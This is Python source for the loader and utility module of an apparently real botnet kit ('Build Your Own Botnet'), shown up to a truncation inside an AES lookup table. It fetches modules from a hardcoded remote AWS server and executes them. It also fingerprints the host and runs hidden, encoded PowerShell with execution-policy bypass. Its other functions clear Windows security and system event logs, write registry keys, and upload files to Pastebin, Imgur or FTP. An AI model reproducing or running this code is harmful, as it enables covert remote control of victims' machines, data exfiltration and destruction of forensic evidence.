#!/usr/bin/python
# -*- coding: utf-8 -*-
'Loader (Build Your Own Botnet)'

# standard library
import imp
import sys
import logging
import urllib2
import contextlib

def log(info='', level='debug'):
    logging.basicConfig(level=logging.DEBUG, handler=logging.StreamHandler())
    logger = logging.getLogger(__name__)
    getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))

# main
class Loader(object):
    """
    The class that implements the remote import API.
    :param list modules: list of module/package names to make available for remote import
    :param str base_url: URL of directory/repository of modules being served through HTTPS

    """

    def __init__(self, modules, base_url):
        self.module_names = modules
        self.base_url = base_url + '/'
        self.non_source = False
        self.reload = False
        '''
        self.mod_msg = {}
        '''

    def find_module(self, fullname, path=None):
        log(level='debug', info= "FINDER=================")
        log(level='debug', info= "Searching: %s" % fullname)
        log(level='debug', info= "Path: %s" % path)
        log(level='info', info= "Checking if in declared remote module names...")
        if fullname.split('.')[0] not in self.module_names + list(set([_.split('.')[0] for _ in self.module_names])):
            log(level='info', info= "[-] Not found!")
            return None
        log(level='info', info= "Checking if built-in....")
        try:
            file, filename, description = imp.find_module(fullname.split('.')[-1], path)
            if filename:
                log(level='info', info= "[-] Found locally!")
                return None
        except ImportError:
            pass
        log(level='info', info= "Checking if it is name repetition... ")
        if fullname.split('.').count(fullname.split('.')[-1]) > 1:
            log(level='info', info= "[-] Found locally!")
            return None
        '''
        msg = self.__get_source(fullname,path)
        if msg==None:
            return None
        is_package,final_url,source_code=msg
        self.mod_msg.setdefault(fullname,MsgClass(is_package,final_url,source_code))
        '''
        log(level='info', info= "[+] Module/Package '%s' can be loaded!" % fullname)
        return self

    def load_module(self, name):
        '''
        mod_msg=self.mod_msg.get(fullname)
        '''
        imp.acquire_lock()
        log(level='debug', info= "LOADER=================")
        log(level='debug', info= "Loading %s..." % name)
        if name in sys.modules and not self.reload:
            log(level='info', info= '[+] Module "%s" already loaded!' % name)
            imp.release_lock()
            return sys.modules[name]
        if name.split('.')[-1] in sys.modules and not self.reload:
            log(level='info', info= '[+] Module "%s" loaded as a top level module!' % name)
            imp.release_lock()
            return sys.modules[name.split('.')[-1]]
        module_url = self.base_url + '%s.py' % name.replace('.', '/')
        package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/')
        zip_url = self.base_url + '%s.zip' % name.replace('.', '/')
        final_url = None
        final_src = None
        try:
            log(level='debug', info= "Trying to import '%s' as package from: '%s'" % (name, package_url))
            package_src = None
            if self.non_source:
                package_src = self.__fetch_compiled(package_url)
            if package_src == None:
                package_src = urllib2.urlopen(package_url).read()
            final_src = package_src
            final_url = package_url
        except IOError as e:
            package_src = None
            log(level='info', info= "[-] '%s' is not a package (%s)" % (name, str(e)))
        if final_src == None:
            try:
                log(level='debug', info= "[+] Trying to import '%s' as module from: '%s'" % (name, module_url))
                module_src = None
                if self.non_source:
                    module_src = self.__fetch_compiled(module_url)
                if module_src == None:
                    module_src = urllib2.urlopen(module_url).read()
                final_src = module_src
                final_url = module_url
            except IOError as e:
                module_src = None
                log(level='info', info= "[-] '%s' is not a module (%s)" % (name, str(e)))
                imp.release_lock()
                return None
        log(level='debug', info= "[+] Importing '%s'" % name)
        mod = imp.new_module(name)
        mod.__loader__ = self
        mod.__file__ = final_url
        if not package_src:
            mod.__package__ = name.rpartition('.')[0]
        else:
            mod.__package__ = name
            mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/']
        log(level='debug', info= "[+] Ready to execute '%s' code" % name)
        sys.modules[name] = mod
        exec(final_src, mod.__dict__)
        log(level='info', info= "[+] '%s' imported succesfully!" % name)
        imp.release_lock()
        return mod

    '''
    def __get_source(self,fullname,path):
        url=self.baseurl+"/".join(fullname.split("."))
        source=None
        is_package=None

        # Check if it's a package
        try:
            final_url=url+"/__init__.py"
            source = urllib2.urlopen(final_url).read()
            is_package=True
        except Exception as e:
            log(level='debug', info= "[-] %s!" %e)

        # A normal module
        if is_package == None :
            try:
                final_url=url+".py"
                source = urllib2.urlopen(final_url).read()
                is_package=False
            except Exception as e:
                log(level='debug', info= "[-] %s!" %e)
                return None

        return is_package,final_url,source
    '''

    def __fetch_compiled(self, url):
        import marshal
        module_src = None
        try:
            module_compiled = urllib2.urlopen(url + 'c').read()
            try:
                module_src = marshal.loads(module_compiled[8:])
                return module_src
            except ValueError:
                pass
            try:
                module_src = marshal.loads(module_compiled[12:])  # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec)
                return module_src
            except ValueError:
                pass
        except IOError as e:
            log(level='debug', info= "[-] No compiled version ('.pyc') for '%s' module found!" % url.split('/')[-1])
        return module_src

def __create_github_url(username, repo, branch='master'):
    github_raw_url = 'https://raw.githubusercontent.com/{user}/{repo}/{branch}/'
    return github_raw_url.format(user=username, repo=repo, branch=branch)

def _add_git_repo(url_builder, username=None, repo=None, module=None, branch=None, commit=None):
    if username == None or repo == None:
        raise Exception("'username' and 'repo' parameters cannot be None")
    if commit and branch:
        raise Exception("'branch' and 'commit' parameters cannot be both set!")
    if commit:
        branch = commit
    if not branch:
        branch = 'master'
    if not module:
        module = repo
    if type(module) == str:
        module = [module]
    url = url_builder(username, repo, branch)
    return add_remote_repo(module, url)

def add_remote_repo(modules, base_url='http://localhost:8000/'):
    """
    Function that creates and adds to the 'sys.meta_path' an Loader object.
    The parameters are the same as the Loader class contructor.
    """
    importer = Loader(modules, base_url)
    sys.meta_path.insert(0, importer)
    return importer

def remove_remote_repo(base_url):
    """
    Function that removes from the 'sys.meta_path' an Loader object given its HTTP/S URL.
    """
    for importer in sys.meta_path:
        try:
            if importer.base_url.startswith(base_url):  # an extra '/' is always added
                sys.meta_path.remove(importer)
                return True
        except AttributeError as e: pass
    return False

@contextlib.contextmanager
def remote_repo(modules, base_url='http://localhost:8000/'):
    """
    Context Manager that provides remote import functionality through a URL.
    The parameters are the same as the Loader class contructor.
    """
    importer = add_remote_repo(modules, base_url)
    yield
    remove_remote_repo(base_url)

@contextlib.contextmanager
def github_repo(username=None, repo=None, module=None, branch=None, commit=None):
    """
    Context Manager that provides import functionality from Github repositories through HTTPS.
    The parameters are the same as the '_add_git_repo' function. No 'url_builder' function is needed.
    """
    importer = _add_git_repo(__create_github_url,
        username, repo, module=module, branch=branch, commit=commit)
    yield
    remove_remote_repo(importer.base_url)


# remotely import dependencies from server

packages = ['functools', 'random', 'subprocess', 'uuid', 'base64', 'urllib', 'json', 'collections', 'numpy', 'ftplib', 'zipfile', 'urllib2', 'sys', 'ctypes', 'copy', 'struct', 'hashlib', 'logging', 'socket', 'StringIO', 'zlib', 'threading', 'time', 'colorama', 'requests', 'os']
packages_tmp = ['functools', 'random', 'subprocess', 'uuid', 'base64', 'urllib', 'json', 'collections', 'numpy', 'ftplib', 'zipfile', 'urllib2', 'sys', 'ctypes', 'copy', 'struct', 'hashlib', 'logging', 'socket', 'StringIO', 'zlib', 'threading', 'time', 'colorama', 'requests', 'os']

for package in packages_tmp:
    try:
        exec("import %s" % package, globals())
        packages.remove(package)
    except: pass

with remote_repo(packages, base_url='http://ec2-52-14-134-178.us-east-2.compute.amazonaws.com:8002'):
    for package in packages:
        try:
            exec("import %s" % package, globals())
        except: pass


def log(info, level='debug'):
    """
    Log output to the console (if verbose output is enabled)

    """
    import logging
    logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handler=logging.StreamHandler())
    logger = logging.getLogger(__name__)
    getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))

def imports(source, target=None):
    """
    Attempt to import each package into the module specified

    `Required`
    :param list source: package/module to import

    `Optional`
    :param object target: target object/module to import into

    """
    if isinstance(source, str):
        source = source.split()
    if isinstance(target, dict):
        module = target
    elif hasattr(target, '__dict__'):
        module = target.__dict__
    else:
        module = globals()
    for src in source:
        try:
            exec("import {}".format(src), target)
        except ImportError:
            log("missing package '{}' is required".format(source))

def is_compatible(platforms=['win32','linux2','darwin'], module=None):
    """
    Verify that a module is compatible with the host platform

    `Optional`
    :param list platforms:   compatible platforms
    :param str module:       name of the module

    """
    import sys
    if sys.platform in platforms:
        return True
    log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')
    return False

def platform():
    """
    Return the system platform of host machine

    """
    import sys
    return sys.platform

def public_ip():
    """
    Return public IP address of host machine

    """
    import urllib
    return urllib.urlopen('http://api.ipify.org').read()

def local_ip():
    """
    Return local IP address of host machine

    """
    import socket
    return socket.gethostbyname(socket.gethostname())

def mac_address():
    """
    Return MAC address of host machine

    """
    import uuid
    return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()

def architecture():
    """
    Check if host machine has 32-bit or 64-bit processor architecture

    """
    import struct
    return int(struct.calcsize('P') * 8)

def device():
    """
    Return the name of the host machine

    """
    import socket
    return socket.getfqdn(socket.gethostname())

def username():
    """
    Return username of current logged in user

    """
    import os
    return os.getenv('USER', os.getenv('USERNAME', 'user'))

def administrator():
    """
    Return True if current user is administrator, otherwise False

    """
    import os
    import ctypes
    return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)

def ipv4(address):
    """
    Check if valid IPv4 address

    `Required`
    :param str address:   string to check

    Returns True if input is valid IPv4 address, otherwise False

    """
    import socket
    try:
        if socket.inet_aton(str(address)):
            return True
    except:
        return False

def status(timestamp):
    """
    Check the status of a job/thread

    `Required`
    :param float timestamp:   Unix timestamp (seconds since the Epoch)

    """
    import time
    c = time.time() - float(timestamp)
    data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
          '{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
          '{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
          '{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
    return ', '.join([i for i in data if i])

def unzip(filename):
    """
    Extract all files from a ZIP archive

    `Required`
    :param str filename:     path to ZIP archive

    """
    import os
    import zipfile
    z = zipfile.ZipFile(filename)
    path = os.path.dirname(filename)
    z.extractall(path=path)

def post(url, headers={}, data={}, json={}, as_json=False):
    """
    Make a HTTP post request and return response

    `Required`
    :param str url:       URL of target web page

    `Optional`
    :param dict headers:  HTTP request headers
    :param dict data:     HTTP request POST data
    :param dict json:     POST data in JSON format
    :param bool as_json:  return JSON formatted output

    """
    try:
        import requests
        req = requests.post(url, headers=headers, data=data, json=json)
        output = req.content
        if as_json:
            try:
                output = req.json()
            except: pass
        return output
    except ImportError:
        import urllib
        import urllib2
        data = urllib.urlencode(data)
        req  = urllib2.Request(str(url), data=data)
        for key, value in headers.items():
            req.headers[key] = value
        output = urllib2.urlopen(req).read()
        if as_json:
            import json
            try:
                output = json.loads(output)
            except: pass
        return output

def normalize(source):
    """
    Normalize data/text/stream

    `Required`
    :param source:   string OR readable-file

    """
    import os
    if os.path.isfile(source):
        return open(source, 'rb').read()
    elif hasattr(source, 'getvalue'):
        return source.getvalue()
    elif hasattr(source, 'read'):
        if hasattr(source, 'seek'):
            source.seek(0)
        return source.read()
    else:
        return bytes(source)

def registry_key(key, subkey, value):
    """
    Create a new Windows Registry Key in HKEY_CURRENT_USER

    `Required`
    :param str key:         primary registry key name
    :param str subkey:      registry key sub-key name
    :param str value:       registry key sub-key value

    Returns True if successful, otherwise False

    """
    try:
        import _winreg
        reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)
        _winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)
        _winreg.CloseKey(reg_key)
        return True
    except Exception as e:
        log(e)
        return False

def png(image):
    """
    Transforms raw image data into a valid PNG data

    `Required`
    :param image:   `numpy.darray` object OR `PIL.Image` object

    Returns raw image data in PNG format

    """
    import zlib
    import numpy
    import struct

    try:
        from StringIO import StringIO  # Python 2
    except ImportError:
        from io import StringIO        # Python 3

    if isinstance(image, numpy.ndarray):
        width, height = (image.shape[1], image.shape[0])
        data = image.tobytes()
    elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):
        width, height = (image.width, image.height)
        data = image.rgb
    else:
        raise TypeError("invalid input type: {}".format(type(image)))

    line = width * 3
    png_filter = struct.pack('>B', 0)
    scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])
    magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)

    ihdr = [b"", b'IHDR', b"", b""]
    ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
    ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
    ihdr[0] = struct.pack('>I', len(ihdr[2]))

    idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
    idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
    idat[0] = struct.pack('>I', len(idat[2]))

    iend = [b"", b'IEND', b"", b""]
    iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
    iend[0] = struct.pack('>I', len(iend[2]))

    fileh = StringIO()
    fileh.write(magic)
    fileh.write(b"".join(ihdr))
    fileh.write(b"".join(idat))
    fileh.write(b"".join(iend))
    fileh.seek(0)
    return fileh.getvalue()

def delete(target):
    """
    Tries to delete file via multiple methods, if necessary

    `Required`
    :param str target:     target filename to delete

    """
    import os
    import shutil
    try:
        _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)
    except OSError: pass
    try:
        if os.path.isfile(target):
            os.remove(target)
        elif os.path.isdir(target):
            import shutil
            shutil.rmtree(target, ignore_errors=True)
    except OSError: pass

def clear_system_logs():
    """
    Clear Windows system logs (Application, security, Setup, System)

    """
    try:
        for log in ["application","security","setup","system"]:
            output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)
            if output:
                log(output)
    except Exception as e:
        log(e)

def kwargs(data):
    """
    Takes a string as input and returns a dictionary of keyword arguments

    `Required`
    :param str data:    string to parse for keyword arguments

    Returns dictionary of keyword arguments as key-value pairs

    """
    try:
        return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}
    except Exception as e:
        log(e)

def powershell(code):
    """
    Execute code in Powershell.exe and return any results

    `Required`
    :param str code:      script block of Powershell code

    Returns any output from Powershell executing the code

    """
    import os
    import base64
    try:
        powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()
        return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()
    except Exception as e:
        log("{} error: {}".format(powershell.func_name, str(e)))

def display(output, color=None, style=None, end='\n', event=None, lock=None):
    """
    Display output in the console

    `Required`
    :param str output:    text to display

    `Optional`
    :param str color:     red, green, cyan, magenta, blue, white
    :param str style:     normal, bright, dim
    :param str end:       __future__.print_function keyword arg
    :param lock:          threading.Lock object
    :param event:         threading.Event object

    """
    import colorama
    colorama.init()
    output = str(output)
    _color = ''
    if color:
        _color = getattr(colorama.Fore, color.upper())
    _style = ''
    if style:
        _style = getattr(colorama.Style, style.upper())
    exec("print(_color + _style + output){}".format(end))

def color():
    """
    Returns a random color for use in console display

    """
    try:
        import random
        return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])
    except Exception as e:
        log("{} error: {}".format(color.func_name, str(e)))

def imgur(source, api_key=None):
    """
    Upload image file/data to Imgur

    """
    import base64
    if api_key:
        response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)
        return response['data']['link'].encode()
    else:
        log("No Imgur API key found")

def pastebin(source, api_key):
    """
    Upload file/data to Pastebin

    `Required`
    :param str source:         data or readable file-like object
    :param str api_dev_key:    Pastebin api_dev_key

    `Optional`
    :param str api_user_key:   Pastebin api_user_key

    """
    import urllib2
    if isinstance(api_key, str):
        try:
            info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
            paste = post('https://pastebin.com/api/api_post.php', data=info)
            parts = urllib2.urlparse.urlsplit(paste)
            result = urllib2.urlparse.urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
            if not result.endswith('/'):
                result += '/'
            return result
        except Exception as e:
            log("Upload to Pastebin failed with error: {}".format(e))
    else:
        log("No Pastebin API key found")

def ftp(source, host=None, user=None, password=None, filetype=None):
    """
    Upload file/data to FTP server

    `Required`
    :param str source:    data or readable file-like object
    :param str host:      FTP server hostname
    :param str user:      FTP account username
    :param str password:  FTP account password

    `Optional`
    :param str filetype:  target file type (default: .txt)

    """
    import os
    import time
    import ftplib

    try:
        from StringIO import StringIO  # Python 2
    except ImportError:
        from io import StringIO        # Python 3

    if host and user and password:
        path  = ''
        local = time.ctime().split()
        if os.path.isfile(str(source)):
            path   = source
            source = open(path, 'rb')
        elif hasattr(source, 'seek'):
            source.seek(0)
        else:
            source = StringIO(source)
        try:
            ftp = ftplib.FTP(host=host, user=user, password=password)
        except:
            return "Upload failed - remote FTP server authorization error"
        addr = public_ip()
        if 'tmp' not in ftp.nlst():
            ftp.mkd('/tmp')
        if addr not in ftp.nlst('/tmp'):
            ftp.mkd('/tmp/{}'.format(addr))
        if path:
            path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
        else:
            filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
            path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
        stor = ftp.storbinary('STOR ' + path, source)
        return path
    else:
        log('missing one or more required arguments: host, user, password')

def config(*arg, **options):
    """
    Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)

    """
    import functools
    def _config(function):
        @functools.wraps(function)
        def wrapper(*args, **kwargs):
            return function(*args, **kwargs)
        for k,v in options.items():
            setattr(wrapper, k, v)
        return wrapper
    return _config

def threaded(function):
    """
    Decorator for making a function threaded

    `Required`
    :param function:    function/method to run in a thread

    """
    import time
    import threading
    import functools
    @functools.wraps(function)
    def _threaded(*args, **kwargs):
        t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
        t.daemon = True
        t.start()
        return t
    return _threaded


def _compact_word(word):
    return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]

def _string_to_bytes(text):
    return list(ord(c) for c in text)

def _bytes_to_string(binary):
    return "".join(chr(b) for b in binary)

def _concat_list(a, b):
    return a + b


# Python 3 compatibility
try:
    xrange
except NameError:
    xrange = range

    # Python 3 supports bytes, which is already an array of integers
    def _string_to_bytes(text):
        if isinstance(text, bytes):
            return text
        return [ord(c) for c in text]

    # In Python 3, we return bytes
    def _bytes_to_string(binary):
        return bytes(binary)

    # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
    def _concat_list(a, b):
        return a + bytes(b)


class AES(object):
    """
    Encapsulates the AES block cipher

    """

    # Number of rounds by keysize
    number_of_rounds = {16: 10, 24: 12, 32: 14}

    # Round constant words
    rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]

    # S-box and Inverse S-box (S is for Substitution)
    S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
    Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]

    # Transformations for encryption
    T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 